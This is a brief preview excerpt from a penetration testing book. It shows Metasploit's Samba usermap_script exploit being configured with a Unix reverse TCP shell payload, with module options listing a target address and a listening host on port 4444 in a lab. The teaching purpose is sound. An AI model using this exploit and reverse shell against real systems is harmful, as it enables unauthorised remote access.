February 2018
Intermediate to advanced
426 pages
11h 3m
English
Since we didn't specify a payload, Metasploit did that for us; it selected a Unix reverse TCP shell, filled in the listen address with our Kali Linux IP address, and used the default listen port 4444. To display this information, we can use the show options command:
msf exploit(usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.216.129 yes The target address RPORT 139 yes The target port (TCP)Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.5 yes The listen address LPORT 4444 yes The listen portExploit ...
Read now
Unlock full access